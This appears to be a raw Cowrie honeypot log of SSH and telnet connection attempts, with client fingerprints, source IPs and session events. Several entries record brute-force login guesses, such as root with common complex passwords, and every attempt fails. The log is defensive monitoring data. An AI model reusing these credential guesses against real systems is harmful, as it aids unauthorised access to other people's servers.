{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:33.250064Z","src_ip":"102.88.137.80","session":"c7d0e5ae0051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":35682,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe048bef5e00","protocol":"ssh","message":"New connection: 76.79.213.69:35682 (10.17.0.5:22) [session: fe048bef5e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:33.668419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:33.679789Z","src_ip":"76.79.213.69","session":"fe048bef5e00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:33.803307Z","src_ip":"76.79.213.69","session":"fe048bef5e00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"12345678","message":"login attempt [a/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:34.011452Z","src_ip":"102.88.137.80","session":"c7d0e5ae0051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ttt","password":"ttt","message":"login attempt [ttt/ttt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:34.327904Z","src_ip":"76.79.213.69","session":"fe048bef5e00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:35.077096Z","src_ip":"201.17.146.173","session":"54bcf3a0d890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:35.207951Z","src_ip":"102.88.137.80","session":"c7d0e5ae0051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:35.452688Z","src_ip":"76.79.213.69","session":"fe048bef5e00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"academia","password":"academia","message":"login attempt [academia/academia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:35.518294Z","src_ip":"201.17.146.173","session":"54bcf3a0d890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:36.669287Z","src_ip":"201.17.146.173","session":"54bcf3a0d890","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":45228,"dst_ip":"10.17.0.5","dst_port":22,"session":"46c7e1016e92","protocol":"ssh","message":"New connection: 160.251.185.39:45228 (10.17.0.5:22) [session: 46c7e1016e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:52.803405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:52.807372Z","src_ip":"160.251.185.39","session":"46c7e1016e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:52.988410Z","src_ip":"160.251.185.39","session":"46c7e1016e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$sw0rd#","message":"login attempt [root/P@$sw0rd#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:53.745898Z","src_ip":"160.251.185.39","session":"46c7e1016e92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:54.930044Z","src_ip":"160.251.185.39","session":"46c7e1016e92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":54668,"dst_ip":"159.203.135.109","dst_port":22,"session":"86dfb8d6cf69","protocol":"ssh","message":"New connection: 101.47.159.125:54668 (159.203.135.109:22) [session: 86dfb8d6cf69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:05.449918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:05.453931Z","src_ip":"101.47.159.125","session":"86dfb8d6cf69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:05.692179Z","src_ip":"101.47.159.125","session":"86dfb8d6cf69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sk","password":"sk","message":"login attempt [sk/sk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:06.676840Z","src_ip":"101.47.159.125","session":"86dfb8d6cf69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:07.924476Z","src_ip":"101.47.159.125","session":"86dfb8d6cf69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":34490,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ad9b6b7bb0a","protocol":"ssh","message":"New connection: 5.89.75.194:34490 (10.17.0.5:22) [session: 2ad9b6b7bb0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:19.615114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:19.619148Z","src_ip":"5.89.75.194","session":"2ad9b6b7bb0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:19.721192Z","src_ip":"5.89.75.194","session":"2ad9b6b7bb0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat@1","message":"login attempt [root/redhat@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:20.160406Z","src_ip":"5.89.75.194","session":"2ad9b6b7bb0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:21.267308Z","src_ip":"5.89.75.194","session":"2ad9b6b7bb0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1477,"dst_ip":"10.17.0.5","dst_port":22,"session":"de7053f9fc1c","protocol":"ssh","message":"New connection: 102.88.137.80:1477 (10.17.0.5:22) [session: de7053f9fc1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:23.050314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:23.053519Z","src_ip":"102.88.137.80","session":"de7053f9fc1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:23.234818Z","src_ip":"102.88.137.80","session":"de7053f9fc1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server123!@#","message":"login attempt [root/Server123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:23.994206Z","src_ip":"102.88.137.80","session":"de7053f9fc1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:25.179193Z","src_ip":"102.88.137.80","session":"de7053f9fc1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":34742,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b050d60cb1f","protocol":"ssh","message":"New connection: 92.113.145.209:34742 (159.203.135.109:22) [session: 4b050d60cb1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:27.006697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:27.011739Z","src_ip":"92.113.145.209","session":"4b050d60cb1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:27.137199Z","src_ip":"92.113.145.209","session":"4b050d60cb1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1234567.","message":"login attempt [root/Root1234567.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:27.678924Z","src_ip":"92.113.145.209","session":"4b050d60cb1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:28.807251Z","src_ip":"92.113.145.209","session":"4b050d60cb1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":53114,"dst_ip":"10.17.0.5","dst_port":23,"session":"d39b16a6c795","protocol":"telnet","message":"New connection: 94.23.66.112:53114 (10.17.0.5:23) [session: d39b16a6c795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:29.638746Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":50402,"dst_ip":"10.17.0.5","dst_port":22,"session":"4efdfac8cc98","protocol":"ssh","message":"New connection: 79.104.0.82:50402 (10.17.0.5:22) [session: 4efdfac8cc98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:32.769003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:32.772862Z","src_ip":"79.104.0.82","session":"4efdfac8cc98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:11:32.921907Z","src_ip":"79.104.0.82","session":"4efdfac8cc98","protocol":"ssh"}
